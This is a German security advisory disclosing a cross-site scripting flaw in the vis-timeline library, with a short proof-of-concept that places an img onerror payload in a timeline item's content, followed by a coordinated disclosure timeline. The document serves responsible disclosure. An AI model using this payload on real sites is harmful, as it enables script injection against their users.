Cross Site Scripting (XSS) Schwachstelle in vis-timeline

Produktbeschreibung (englisch)

Create a fully customizable, interactive timelines and 2d-graphs with items and ranges.

The Timeline/Graph2D is an interactive visualization chart to visualize data in time. The data items can take place on a single date, or have a start and end date (a range). You can freely move and zoom in the timeline by dragging and scrolling in the Timeline. Items can be created, edited, and deleted in the timeline. The time scale on the axis is adjusted automatically, and supports scales ranging from milliseconds to years.

Details

Angreifer, die den Inhalt eines Timeline-Events kontrollieren können eigenen Skriptcode einschleusen.

Beispiel:

 1// DOM element where the Timeline will be attached
 2var container = document.getElementById("visualization");
 3
 4// Create a DataSet (allows two way data-binding)
 5var items = new vis.DataSet([
 6  { id: 1, content: "item<img src='xxx' onerror='alert(/XSS/);' />", start: "2014-04-20" },
 7  { id: 2, content: "item 2", start: "2014-04-14" },
 8  { id: 3, content: "item 3", start: "2014-04-18" },
 9  { id: 4, content: "item 4", start: "2014-04-16", end: "2014-04-19" },
10  { id: 5, content: "item 5", start: "2014-04-25" },
11  { id: 6, content: "item 6", start: "2014-04-27", type: "point" },
12]);
13
14// Configuration for the Timeline
15var options = {};
16var timeline = new vis.Timeline(container, items, options);

Coordinated Disclosure Zeitverlauf

• 10/12/2020 Die Schwachsstelle wurde an den Dienstleister Snyk gemeldet, welcher die Koordination mit den Entwicklern übernimmt und eine CVE vergibt.
• 18/12/2020 Erstellung eines entsprechenden GitHub Issues.
• 20/12/2020 GitHub Pull Request zur Behebung der Schwachstelle.
• 25/12/2020 Veröffentlichung.
• 22/01/2021 Veröffentlichung durch Snyk.

Links und Referenzen

• Snyk Advisory
• Vis timelime bei GitHub
• GitHub Advisory
• GitHub Issue
• GitHub pull request